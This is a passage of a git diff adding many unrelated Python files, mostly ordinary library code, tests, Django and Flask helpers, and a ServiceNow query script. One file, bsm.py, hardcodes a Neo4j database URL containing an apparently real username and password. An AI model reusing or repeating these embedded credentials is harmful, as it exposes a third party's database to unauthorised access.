original state + # (which, in this case, is the current state of the estimator), + # and check that the obtained copy is a correct deep copy. + + from sklearn.feature_selection import SelectFpr, f_classif + + selector = SelectFpr(f_classif, alpha=0.1) + new_selector = clone(selector) + assert_true(selector is not new_selector) + assert_equal(selector.get_params(), new_selector.get_params()) + + selector = SelectFpr(f_classif, alpha=np.zeros((10, 2))) + new_selector = clone(selector) + assert_true(selector is not new_selector) + + +def test_clone_2(): + # Tests that clone doesn't copy everything. + # We first create an estimator, give it an own attribute, and + # make a copy of its original state. Then we check that the copy doesn't + # have the specific attribute we manually added to the initial estimator. + + from sklearn.feature_selection import SelectFpr, f_classif + + selector = SelectFpr(f_classif, alpha=0.1) + selector.own_attribute = "test" + new_selector = clone(selector) + assert_false(hasattr(new_selector, "own_attribute")) + + +def test_clone_buggy(): + # Check that clone raises an error on buggy estimators. + buggy = Buggy() + buggy.a = 2 + assert_raises(RuntimeError, clone, buggy) + + no_estimator = NoEstimator() + assert_raises(TypeError, clone, no_estimator) + + varg_est = VargEstimator() + assert_raises(RuntimeError, clone, varg_est) + + +def test_clone_empty_array(): + # Regression test for cloning estimators with empty arrays + clf = MyEstimator(empty=np.array([])) + clf2 = clone(clf) + assert_array_equal(clf.empty, clf2.empty) + + clf = MyEstimator(empty=sp.csr_matrix(np.array([[0]]))) + clf2 = clone(clf) + assert_array_equal(clf.empty.data, clf2.empty.data) + + +def test_clone_nan(): + # Regression test for cloning estimators with default parameter as np.nan + clf = MyEstimator(empty=np.nan) + clf2 = clone(clf) + + assert_true(clf.empty is clf2.empty) + + +def test_repr(): + # Smoke test the repr of the base estimator. + my_estimator = MyEstimator() + repr(my_estimator) + test = T(K(), K()) + assert_equal( + repr(test), + "T(a=K(c=None, d=None), b=K(c=None, d=None))" + ) + + some_est = T(a=["long_params"] * 1000) + assert_equal(len(repr(some_est)), 415) + + +def test_str(): + # Smoke test the str of the base estimator + my_estimator = MyEstimator() + str(my_estimator) + + +def test_get_params(): + test = T(K(), K()) + + assert_true('a__d' in test.get_params(deep=True)) + assert_true('a__d' not in test.get_params(deep=False)) + + test.set_params(a__d=2) + assert_true(test.a.d == 2) + assert_raises(ValueError, test.set_params, a__a=2) + + +def test_get_params_deprecated(): + # deprecated attribute should not show up as params + est = DeprecatedAttributeEstimator(a=1) + + assert_true('a' in est.get_params()) + assert_true('a' in est.get_params(deep=True)) + assert_true('a' in est.get_params(deep=False)) + + assert_true('b' not in est.get_params()) + assert_true('b' not in est.get_params(deep=True)) + assert_true('b' not in est.get_params(deep=False)) + + +def test_is_classifier(): + svc = SVC() + assert_true(is_classifier(svc)) + assert_true(is_classifier(GridSearchCV(svc, {'C': [0.1, 1]}))) + assert_true(is_classifier(Pipeline([('svc', svc)]))) + assert_true(is_classifier(Pipeline([('svc_cv', + GridSearchCV(svc, {'C': [0.1, 1]}))]))) + + +def test_set_params(): + # test nested estimator parameter setting + clf = Pipeline([("svc", SVC())]) + # non-existing parameter in svc + assert_raises(ValueError, clf.set_params, svc__stupid_param=True) + # non-existing parameter of pipeline + assert_raises(ValueError, clf.set_params, svm__stupid_param=True) + # we don't currently catch if the things in pipeline are estimators + # bad_pipeline = Pipeline([("bad", NoEstimator())]) + # assert_raises(AttributeError, bad_pipeline.set_params, + # bad__stupid_param=True) + + +def test_score_sample_weight(): + from sklearn.tree import DecisionTreeClassifier + from sklearn.tree import DecisionTreeRegressor + from sklearn import datasets + + rng = np.random.RandomState(0) + + # test both ClassifierMixin and RegressorMixin + estimators = [DecisionTreeClassifier(max_depth=2), + DecisionTreeRegressor(max_depth=2)] + sets = [datasets.load_iris(), + datasets.load_boston()] + + for est, ds in zip(estimators, sets): + est.fit(ds.data, ds.target) + # generate random sample weights + sample_weight = rng.randint(1, 10, size=len(ds.target)) + # check that the score with and without sample weights are different + assert_not_equal(est.score(ds.data, ds.target), + est.score(ds.data, ds.target, + sample_weight=sample_weight), + msg="Unweighted and weighted scores " + "are unexpectedly equal") diff --git a/pool/shard008/Python/0079250_mbcsgroupprober.py b/pool/shard008/Python/0079250_mbcsgroupprober.py new file mode 100644 index 0000000000000000000000000000000000000000..ebe93d08d3750065d6282b959978c153a011d00f --- /dev/null +++ b/pool/shard008/Python/0079250_mbcsgroupprober.py @@ -0,0 +1,52 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetgroupprober import CharSetGroupProber +from .utf8prober import UTF8Prober +from .sjisprober import SJISProber +from .eucjpprober import EUCJPProber +from .gb2312prober import GB2312Prober +from .euckrprober import EUCKRProber +from .big5prober import Big5Prober +from .euctwprober import EUCTWProber + + +class MBCSGroupProber(CharSetGroupProber): + def __init__(self): + CharSetGroupProber.__init__(self) + self._mProbers = [ + UTF8Prober(), + SJISProber(), + EUCJPProber(), + GB2312Prober(), + EUCKRProber(), + Big5Prober(), + EUCTWProber() + ] + self.reset() diff --git a/pool/shard008/Python/0079253_datagen_beam_test.py b/pool/shard008/Python/0079253_datagen_beam_test.py new file mode 100644 index 0000000000000000000000000000000000000000..b0d30b731ea4c73bcc70edf4030b6154814a85c9 --- /dev/null +++ b/pool/shard008/Python/0079253_datagen_beam_test.py @@ -0,0 +1,62 @@ +# Copyright 2022 The Magenta Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Tests for Score2Perf datagen using beam.""" +import tempfile + +from magenta.models.score2perf import music_encoders +from note_seq import testing_lib +from note_seq.protobuf import music_pb2 +import pytest +import tensorflow.compat.v1 as tf + +# Skip this file if beam cannot be imported. +beam = pytest.importorskip('apache_beam') + +# pylint: disable=g-bad-import-order,g-import-not-at-top,wrong-import-position,ungrouped-imports +from magenta.models.score2perf import datagen_beam +# pylint: enable=g-bad-import-order,g-import-not-at-top,wrong-import-position,ungrouped-imports + +tf.disable_v2_behavior() + + +class GenerateExamplesTest(tf.test.TestCase): + + def testGenerateExamples(self): + ns = music_pb2.NoteSequence() + testing_lib.add_track_to_sequence( + ns, 0, [(60, 100, 0.0, 1.0), (64, 100, 1.0, 2.0), (67, 127, 2.0, 3.0)]) + input_transform = beam.transforms.Create([('0', ns.SerializeToString())]) + output_dir = tempfile.mkdtemp() + encoder = music_encoders.MidiPerformanceEncoder( + steps_per_second=100, + num_velocity_bins=32, + min_pitch=21, + max_pitch=108) + + datagen_beam.generate_examples( + input_transform=input_transform, + output_dir=output_dir, + problem_name='test_problem', + splits={'train': 1.0}, + min_hop_size_seconds=3.0, + max_hop_size_seconds=3.0, + min_pitch=21, + max_pitch=108, + num_replications=1, + encode_performance_fn=encoder.encode_note_sequence) + + +if __name__ == '__main__': + tf.test.main() diff --git a/pool/shard008/Python/0079254_setup.py b/pool/shard008/Python/0079254_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..2b7797fd3efbad58585630a12aa6906159b74f61 --- /dev/null +++ b/pool/shard008/Python/0079254_setup.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# Copyright 2015, Kevin Carter. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import setuptools +import sys + +import cloudlib + + +PACKAGES = [ + 'cloudlib' +] + + +with open('requirements.txt') as f: + required = f.read().splitlines() + + +if sys.version_info < (2, 6, 0): + sys.stderr.write('This App Presently requires Python 2.6.0 or greater\n') + raise SystemExit( + '\nUpgrade python because you version of it is VERY deprecated\n' + ) +elif sys.version_info < (2, 7, 0): + if 'argparse' not in required: + required.append('argparse') + + +with open('README', 'rb') as r_file: + LDINFO = r_file.read() + LDINFO = LDINFO.decode('utf-8') + + +setuptools.setup( + name=cloudlib.__appname__, + version=cloudlib.__version__, + author=cloudlib.__author__, + author_email=cloudlib.__email__, + description=cloudlib.__description__, + long_description=LDINFO, + license='Apache License Version 2.0', + packages=PACKAGES, + url=cloudlib.__url__, + install_requires=required, + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Intended Audience :: Information Technology', + 'Intended Audience :: System Administrators', + 'Intended Audience :: Developers', + 'Operating System :: OS Independent', + 'License :: OSI Approved :: Apache Software License', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3.4', + 'Topic :: Utilities', + 'Topic :: Software Development :: Libraries :: Python Modules' + ] +) diff --git a/pool/shard008/Python/0079256_ServiceNowQueryIncident.py b/pool/shard008/Python/0079256_ServiceNowQueryIncident.py new file mode 100644 index 0000000000000000000000000000000000000000..6d1a9077b8a3fb4d3cc43c054d17301782d5b7f2 --- /dev/null +++ b/pool/shard008/Python/0079256_ServiceNowQueryIncident.py @@ -0,0 +1,160 @@ +from CommonServerPython import * + +""" +This script is used to wrap the generic query-table command in ServiceNow. +You can add fields that you want to use as inputs and outputs from the record as script arguments or in the +code and work with the records easily. + + +Mandatory fields in your ServiceNow table settings should be changed to be mandatory arguments in this script. +You can identify such fields by trying to get a record and receiving a response +stating that a required field is missing. +""" + +""" +Mapping of priority values to their corresponding display in the UI +""" +INCIDENT_PRIORITY = { + '1': '1 - Critical', + '2': '2 - High', + '3': '3 - Moderate', + '4': '4 - Low', + '5': '5 - Planning' +} + +""" +Function to use the query command to retrieve records from the users table. +""" + + +def get_user(query): + user_args = { + 'table_name': 'sys_user', + 'query': query + } + + user_result = demisto.executeCommand('servicenow-query-table', user_args)[0] + user_data = demisto.get(user_result, 'Contents') + if not user_data: + return_error('Could not get the contents from the command result: ' + json.dumps(user_result)) + if not isinstance(user_data, dict): + # In case of string result, e.g "No incidents found" + demisto.results('User not found') + sys.exit(0) + user = user_data['result'] + + if not user or len(user) == 0: + demisto.results('User not found') + sys.exit(0) + + return user + + +def get_user_id(user_name): + user_name = user_name.split(' ') + query = 'first_name={}^last_name={}'.format(user_name[0], user_name[1]) + + user = get_user(query) + + return user[0]['sys_id'] + + +def get_user_name(user_id): + query = 'id=' + user_id + + user = get_user(query) + + return '{} {}'.format(user[0]['first_name'], user[0]['last_name']) + + +""" +These record fields(columns) are mapped from their names in ServiceNow +to your choice of field names to be in the output. +To view all fields for a given table, use the servicenow-list-fields command. +The ID field must be included to manage unique context entries. +""" +fields_to_map = { + 'sys_id': 'ID', + 'priority': 'Priority', + 'opened_by': 'Caller', + 'number': 'Number', + 'short_description': 'Description' +} + +""" +The table name is required by the API. To acquire the table name, use the servicenow-get-table-name command. +""" +command_args = { + 'table_name': 'incident', + 'fields': list(fields_to_map.keys()) +} + +""" +For each field in the arguments, you need to check if it was provided and apply +any operations required (e.g, get a user id from a user name) to send them to the API. +""" +incident_id = demisto.args().get('id') +incident_number = demisto.args().get('number') +user_name = demisto.args().get('assignee') +user_id = None + +if user_name: + # Query the user table to get the system ID of the assignee + user_id = get_user_id(user_name) + +""" +Set up the query according to the arguments and execute the command +""" +if incident_id: + query = 'id=' + incident_id +elif incident_number: + query = 'number=' + incident_number +elif user_id: + query = 'assigned_to=' + user_id + +command_args['query'] = query + +command_res = demisto.executeCommand('servicenow-query-table', command_args) +result = {} +try: + entry = command_res[0] + if isError(entry): + return_error(entry['Contents']) + else: + record_data = demisto.get(entry, 'Contents') + if not record_data: + return_error('Could not get the contents from the command result: ' + json.dumps(entry)) + if not isinstance(record_data, dict): + # In case of string result, e.g "No incidents found" + result = record_data + else: + # Get the actual records + records = record_data['result'] + # Map fields according to fields_to_map that were defined earlier + mapped_records = [dict((fields_to_map[key], value) for (key, value) in + list(filter(lambda (k, v): k in list(fields_to_map.keys()), r.items()))) for r in + records] + for mr in mapped_records: + # Query the user table to get the name of the caller + mr['Caller'] = get_user_name(mr['Caller'].get('value')) + # Map the priority + mr['Priority'] = INCIDENT_PRIORITY.get(mr['Priority'], mr['Priority']) + display_headers = ['ID', 'Number', 'Priority', 'Description', 'Caller'] + + # Output entry + result = { + 'Type': entryTypes['note'], + 'Contents': record_data, + 'ContentsFormat': formats['json'], + 'ReadableContentsFormat': formats['markdown'], + 'HumanReadable': tableToMarkdown('ServiceNow Incidents', mapped_records, headers=display_headers, + removeNull=True), + 'EntryContext': { + 'ServiceNow.Incident(val.ID===obj.ID)': createContext(mapped_records) + } + } + +except Exception as ex: + return_error(ex.message) + +demisto.results(result) diff --git a/pool/shard008/Python/0079258_forms.py b/pool/shard008/Python/0079258_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..0bc29a788ee28a319888b41af52481c39c699fd0 --- /dev/null +++ b/pool/shard008/Python/0079258_forms.py @@ -0,0 +1,24 @@ +# -*- coding: utf-8 -*- + +from flask_wtf import Form +from wtforms.fields import TextField +from wtforms.ext.sqlalchemy.fields import QuerySelectField +from purchasing.users.models import Department + +class DepartmentForm(Form): + '''Allows user to update profile information + + Attributes: + department: sets user department based on choice of available + departments or none value + first_name: sets first_name value based on user input + last_name: sets last_name value based on user input + ''' + department = QuerySelectField( + query_factory=Department.query_factory, + get_pk=lambda i: i.id, + get_label=lambda i: i.name, + allow_blank=True, blank_text='-----' + ) + first_name = TextField() + last_name = TextField() diff --git a/pool/shard008/Python/0079260_renderers.py b/pool/shard008/Python/0079260_renderers.py new file mode 100644 index 0000000000000000000000000000000000000000..da388d91ce25e0f254f36a2d2bda9c10a7b6b3de --- /dev/null +++ b/pool/shard008/Python/0079260_renderers.py @@ -0,0 +1,50 @@ +import json + +from django.http.multipartparser import parse_header + +from rest_framework.negotiation import DefaultContentNegotiation +from rest_framework.renderers import JSONRenderer + + +class SuccinctJSONRenderer(JSONRenderer): + """ + JSONRenderer subclass that strips spaces from the output. + """ + + def render(self, data, accepted_media_type=None, renderer_context=None): + renderer_context = renderer_context or {} + indent = renderer_context.get('indent', None) + + # Pass to the superclass if the Accept header is set with an explicit + # indent, if an indent level is manually passed, or if you're + # attempting to render `None`. + if accepted_media_type: + base_media_type, params = parse_header( + accepted_media_type.encode('ascii')) + indent = params.get('indent', indent) + if data is None or indent: + return super(SuccinctJSONRenderer, self).render( + data, accepted_media_type, renderer_context) + + return json.dumps( + data, cls=self.encoder_class, indent=indent, + ensure_ascii=self.ensure_ascii, separators=(',', ':')) + + +class FirstAvailableRenderer(DefaultContentNegotiation): + """ + Content Negotiation class that ignores the Accept header when there is only + one renderer set on the view. Since most of our views only use the default + renderer list, which contains only SuccinctJSONRenderer, this means we + don't have to parse the Accept header for those. + + Override content_negotiation_class in your class if you need something + different. + """ + + def select_renderer(self, request, renderers, format_suffix=None): + if len(renderers) == 1: + return renderers[0], renderers[0].media_type + else: + return super(FirstAvailableRenderer, self).select_renderer( + request, renderers, format_suffix=format_suffix) diff --git a/pool/shard008/Python/0079261_bsm.py b/pool/shard008/Python/0079261_bsm.py new file mode 100644 index 0000000000000000000000000000000000000000..78b71502301cd430d1a9b1af655f6f37ed421646 --- /dev/null +++ b/pool/shard008/Python/0079261_bsm.py @@ -0,0 +1,66 @@ +from py2neo import Graph, Path, Node, Relationship +from codecs import open +from json import dumps +from openpyxl import load_workbook +import sys + +bsm = load_workbook("/media/sf_datasets/accelerate/Belgische Startup Maffia.xlsx")["Sheet1"] + +# post to neo4j +graph = Graph("http://belgian_startup_maffia:FFaPiypFOOS4tRB7pBHl@belgianstartupmaffia.sb02.stations.graphenedb.com:24789/db/data/") + +if len(sys.argv) > 1: + if sys.argv[1] == "update": + + graph.cypher.execute("MATCH (n) OPTIONAL MATCH (n)-[r]-() DELETE r,n") + + graph.schema.drop_uniqueness_constraint("Company", "name") + graph.schema.drop_uniqueness_constraint("Fund", "name") + graph.schema.drop_uniqueness_constraint("Institute", "name") + graph.schema.drop_uniqueness_constraint("Person", "name") + + graph.schema.create_uniqueness_constraint("Company", "name") + graph.schema.create_uniqueness_constraint("Fund", "name") + graph.schema.create_uniqueness_constraint("Institute", "name") + graph.schema.create_uniqueness_constraint("Person", "name") + + for row in bsm.rows[1:]: + from_type, from_name, edge_type, edge_name, to_type, to_name = [cell.value for cell in row] + print(from_name, edge_type, to_name) + from_node = graph.merge_one(from_type.strip(), "name", from_name.strip()) + to_node = graph.merge_one(to_type.strip(), "name", to_name.strip()) + from_to = Relationship(from_node, edge_type, to_node) + graph.create_unique(from_to) + + # get nodes with degree + nodes = [] + for label in graph.node_labels: + for p in graph.find(label): + node = {"id": p.ref.split("/")[-1], + "label": p["name"], + "title": p["name"], + "value": p.degree, + "group": label} + nodes.append(node) + with open("report/nodes.js", "w") as f: + f.write("var nodesraw = " + dumps(nodes, indent=2) + ";") + + # get edges + edges = [] + for r in graph.match(): + edge = {"to": r.end_node.ref.split("/")[-1], + "from": r.start_node.ref.split("/")[-1] + } + edges.append(edge) + with open("report/edges.js", "w") as f: + f.write("var edgesraw = " + dumps(edges, indent=2) + ";") + +# get top 5 +html_table = "" +query = "start n=node(*) match (n:Person)-[r]-m return n, count(r) as degree order by degree desc limit 5;" +for record in graph.cypher.execute(query): + html_table += "" +html_table += "
NameDegree
" + record["n"].properties["name"] + "" + str(record["degree"]) + "
" +with open("report/top5peetvaders.html", "w", "utf-8") as f: + f.write(html_table) + diff --git a/pool/shard008/Python/0079262_model.py b/pool/shard008/Python/0079262_model.py new file mode 100644 index 0000000000000000000000000000000000000000..2cfaf3c8d5fdbe7e6048f24351f9bee54d652ea3 --- /dev/null +++ b/pool/shard008/Python/0079262_model.py @@ -0,0 +1,169 @@ +# -*- coding: utf-8 -*- + +import datetime +import functools +import logging + +from bleach import linkify +from bleach.callbacks import nofollow + +import markdown +from markdown.extensions import codehilite, fenced_code, wikilinks +from modularodm import fields + +from framework.forms.utils import sanitize +from framework.guid.model import GuidStoredObject + +from website import settings +from website.addons.base import AddonNodeSettingsBase +from website.addons.wiki import utils as wiki_utils +from website.addons.wiki.settings import WIKI_CHANGE_DATE +from website.project.model import write_permissions_revoked + +from .exceptions import ( + NameEmptyError, + NameInvalidError, + NameMaximumLengthError, +) + + +logger = logging.getLogger(__name__) + + +class AddonWikiNodeSettings(AddonNodeSettingsBase): + + def after_register(self, node, registration, user, save=True): + """Copy wiki settings to registrations.""" + clone = self.clone() + clone.owner = registration + if save: + clone.save() + return clone, None + + def to_json(self, user): + return {} + + +@write_permissions_revoked.connect +def subscribe_on_write_permissions_revoked(node): + # Migrate every page on the node + for wiki_name in node.wiki_private_uuids: + wiki_utils.migrate_uuid(node, wiki_name) + + +def build_wiki_url(node, label, base, end): + return node.web_url_for('project_wiki_view', wname=label) + + +def validate_page_name(value): + value = (value or '').strip() + + if not value: + raise NameEmptyError('Page name cannot be blank.') + if value.find('/') != -1: + raise NameInvalidError('Page name cannot contain forward slashes.') + if len(value) > 100: + raise NameMaximumLengthError('Page name cannot be greater than 100 characters.') + return True + + +def render_content(content, node): + html_output = markdown.markdown( + content, + extensions=[ + wikilinks.WikiLinkExtension( + configs=[ + ('base_url', ''), + ('end_url', ''), + ('build_url', functools.partial(build_wiki_url, node)) + ] + ), + fenced_code.FencedCodeExtension(), + codehilite.CodeHiliteExtension( + [('css_class', 'highlight')] + ) + ] + ) + + # linkify gets called after santize, because we're adding rel="nofollow" + # to elements - but don't want to allow them for other elements. + sanitized_content = sanitize(html_output, **settings.WIKI_WHITELIST) + return sanitized_content + + +class NodeWikiPage(GuidStoredObject): + + _id = fields.StringField(primary=True) + + page_name = fields.StringField(validate=validate_page_name) + version = fields.IntegerField() + date = fields.DateTimeField(auto_now_add=datetime.datetime.utcnow) + is_current = fields.BooleanField() + content = fields.StringField(default='') + + user = fields.ForeignField('user') + node = fields.ForeignField('node') + + @property + def deep_url(self): + return '{}wiki/{}/'.format(self.node.deep_url, self.page_name) + + @property + def url(self): + return '{}wiki/{}/'.format(self.node.url, self.page_name) + + @property + def rendered_before_update(self): + return self.date < WIKI_CHANGE_DATE + + def html(self, node): + """The cleaned HTML of the page""" + sanitized_content = render_content(self.content, node=node) + try: + return linkify( + sanitized_content, + [nofollow, ], + ) + except TypeError: + logger.warning('Returning unlinkified content.') + return sanitized_content + + def raw_text(self, node): + """ The raw text of the page, suitable for using in a test search""" + + return sanitize(self.html(node), tags=[], strip=True) + + def get_draft(self, node): + """ + Return most recently edited version of wiki, whether that is the + last saved version or the most recent sharejs draft. + """ + + db = wiki_utils.share_db() + sharejs_uuid = wiki_utils.get_sharejs_uuid(node, self.page_name) + + doc_item = db['docs'].find_one({'_id': sharejs_uuid}) + if doc_item: + sharejs_version = doc_item['_v'] + sharejs_timestamp = doc_item['_m']['mtime'] + sharejs_timestamp /= 1000 # Convert to appropriate units + sharejs_date = datetime.datetime.utcfromtimestamp(sharejs_timestamp) + + if sharejs_version > 1 and sharejs_date > self.date: + return doc_item['_data'] + + return self.content + + def save(self, *args, **kwargs): + rv = super(NodeWikiPage, self).save(*args, **kwargs) + if self.node: + self.node.update_search() + return rv + + def rename(self, new_name, save=True): + self.page_name = new_name + if save: + self.save() + + def to_json(self): + return {} diff --git a/pool/shard008/Python/0079267_day_10.py b/pool/shard008/Python/0079267_day_10.py new file mode 100644 index 0000000000000000000000000000000000000000..3913bf77f059a0dcf1a4c5da32a0f44ba80f1b5c --- /dev/null +++ b/pool/shard008/Python/0079267_day_10.py @@ -0,0 +1,105 @@ +from util import maybe_download +import re + + +def apply_instruction(bots, outputs, s): + give_re = re.compile(r'bot (\d+) gives low to (bot|output) (\d+) and high to (bot|output) (\d+)') + value_re = re.compile(r'value (\d+) goes to bot (\d+)') + + m = value_re.match(s) + if m is not None: + val, bot_id = [int(x) for x in m.groups()] + if bot_id not in bots: + bot = Bot(bot_id) + bots[bot_id] = bot + else: + bot = bots[bot_id] + + bot.feed(val) + else: + m = give_re.match(s) + bot_id, low_type, low_id, high_type, high_id = m.groups() + + bot_id = int(bot_id) + low_id = int(low_id) + high_id = int(high_id) + + bot = get_or_create(bots, outputs, 'bot', bot_id) + bot.low = get_or_create(bots, outputs, low_type, low_id) + bot.high = get_or_create(bots, outputs, high_type, high_id) + if len(bot.values) == 2: + bot.feed_forward() + + + +def get_or_create(bots, outputs, type, id): + if type == 'bot': + if id in bots: + return bots[id] + else: + bot = Bot(id) + bots[id] = bot + return bot + else: + if id in outputs: + return outputs[id] + else: + out = Output(id) + outputs[id] = out + return out + + + + + +class Bot: + def __init__(self, id: int): + self.id = id + self.values = [] + self.low = None + self.high = None + + def feed(self, val: int): + self.values.append(val) + self.feed_forward() + + def feed_forward(self): + if len(self.values) == 2 and self.low and self.high: + self.values.sort() + a, b = self.values + if a == 17 and b == 61: + print('part1:', self.id) + + self.low.feed(a) + self.high.feed(b) + self.values = [] + + + +class Output: + def __init__(self, id): + self.id = id + self.values = [] + + def feed(self, val: int): + self.values.append(val) + + +def part1And2(): + bots = {} + outputs = {} + with maybe_download(10) as file: + for s in file: + s = s.strip() + apply_instruction(bots, outputs, s) + + n = 1 + for out_id in [0,1,2]: + for x in outputs[out_id].values: + n *= x + print('part2', n) + + + + +part1And2() \ No newline at end of file diff --git a/pool/shard008/Python/0079268_decorators.py b/pool/shard008/Python/0079268_decorators.py new file mode 100644 index 0000000000000000000000000000000000000000..805f2fea573d209f42ee9c79af00845f3b34ae02 --- /dev/null +++ b/pool/shard008/Python/0079268_decorators.py @@ -0,0 +1,86 @@ +# -*- coding: utf-8 +from __future__ import unicode_literals + +from functools import wraps +from types import FunctionType +from htmlmin import minify +from datetime import datetime, timedelta +from hashlib import sha1 + +from flask import current_app, make_response + + +def add_headers(headers=None): + headers = headers if headers else {} + + def decorator(func): + @wraps(func) + def decorated_function(*args, **kwargs): + response = make_response(func(*args, **kwargs)) + for header, value in headers.items(): + response.headers[header] = value + return response + return decorated_function + return decorator + + +def cache_headers(seconds=0, public=True, vary='Accept-Encoding', etag=True): + + def decorator(func): + @wraps(func) + def decorated_function(*args, **kwargs): + response = make_response(func(*args, **kwargs)) + response.cache_control.public = public + response.cache_control.max_age = seconds + response.expires = datetime.now() + timedelta(seconds=seconds) + response.vary = vary + if etag: + response.set_etag(sha1(response.data).hexdigest()) + return response + return decorated_function + return decorator + + +def html_minify(func): + + @wraps(func) + def decorated_function(*args, **kwargs): + if current_app.config.get('DEBUG'): + return func(*args, **kwargs) + else: + return minify( + func(*args, **kwargs), + remove_optional_attribute_quotes=False + ) + return decorated_function + + +def memoize_method(func): + + if isinstance(func, FunctionType): + prefix = '__' + else: + prefix = func + + def decorator(method): + key = '{0}{1}'.format(prefix, method.__name__) + + method._clear = False + + @wraps(method) + def inner(self, *args, **kwargs): + if not hasattr(self, key) or getattr(method, '_clear', False): + setattr(self, key, method(self, *args, **kwargs)) + return getattr(self, key) + + def clear(): + method._clear = True + + inner.clear = clear + + return inner + + if isinstance(func, FunctionType): + return decorator(func) + else: + return decorator diff --git a/pool/shard008/Python/0079273_0001_initial.py b/pool/shard008/Python/0079273_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..fe50152aa5ac924723e7a2120eae118258e93ba5 --- /dev/null +++ b/pool/shard008/Python/0079273_0001_initial.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.2 on 2016-10-23 03:15 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('conversations', '0001_initial'), + ] + + operations = [ + migrations.CreateModel( + name='Activity', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=16)), + ('date', models.DateTimeField()), + ('location', models.CharField(max_length=30)), + ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activities', to=settings.AUTH_USER_MODEL, to_field='username')), + ('conversation', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activities', to='conversations.Conversation')), + ], + ), + ] diff --git a/pool/shard008/Python/0079274_serializers.py b/pool/shard008/Python/0079274_serializers.py new file mode 100644 index 0000000000000000000000000000000000000000..cc9a900ad99c2f28b1c99a59f2a951b003328f3d --- /dev/null +++ b/pool/shard008/Python/0079274_serializers.py @@ -0,0 +1,224 @@ +# -*- coding: utf-8 -*- + +# This file is part of wger Workout Manager. +# +# wger Workout Manager is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# wger Workout Manager is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Workout Manager. If not, see . + +# Third Party +from rest_framework import serializers + +# wger +from wger.core.api.serializers import DaysOfWeekSerializer +from wger.exercises.api.serializers import ( + ExerciseSerializer, + MuscleSerializer, +) +from wger.manager.models import ( + Day, + Schedule, + ScheduleStep, + Set, + Setting, + Workout, + WorkoutLog, + WorkoutSession, +) + + +class WorkoutSerializer(serializers.ModelSerializer): + """ + Workout serializer + """ + + class Meta: + model = Workout + fields = ('id', 'name', 'creation_date', 'description') + + +class WorkoutTemplateSerializer(serializers.ModelSerializer): + """ + Workout template serializer + """ + + class Meta: + model = Workout + fields = ('id', 'name', 'creation_date', 'description', 'is_public') + + +class WorkoutAndTemplateSerializer(serializers.ModelSerializer): + """ + Workout or template serializer + """ + + class Meta: + model = Workout + fields = ('id', 'name', 'creation_date', 'description', 'is_template', 'is_public') + + +class WorkoutSessionSerializer(serializers.ModelSerializer): + """ + Workout session serializer + """ + user = serializers.PrimaryKeyRelatedField( + read_only=True, default=serializers.CurrentUserDefault() + ) + + class Meta: + model = WorkoutSession + fields = ['id', 'user', 'workout', 'date', 'notes', 'impression', 'time_start', 'time_end'] + + +class WorkoutLogSerializer(serializers.ModelSerializer): + """ + Workout session serializer + """ + + class Meta: + model = WorkoutLog + exclude = ('user', ) + + +class ScheduleStepSerializer(serializers.ModelSerializer): + """ + ScheduleStep serializer + """ + + class Meta: + model = ScheduleStep + fields = ['id', 'schedule', 'workout', 'duration'] + + +class ScheduleSerializer(serializers.ModelSerializer): + """ + Schedule serializer + """ + + class Meta: + model = Schedule + exclude = ('user', ) + + +class DaySerializer(serializers.ModelSerializer): + """ + Workout day serializer + """ + + class Meta: + model = Day + fields = ['id', 'training', 'description', 'day'] + + +class SetSerializer(serializers.ModelSerializer): + """ + Workout setting serializer + """ + + class Meta: + model = Set + fields = ['id', 'exerciseday', 'sets', 'order', 'comment'] + + +class 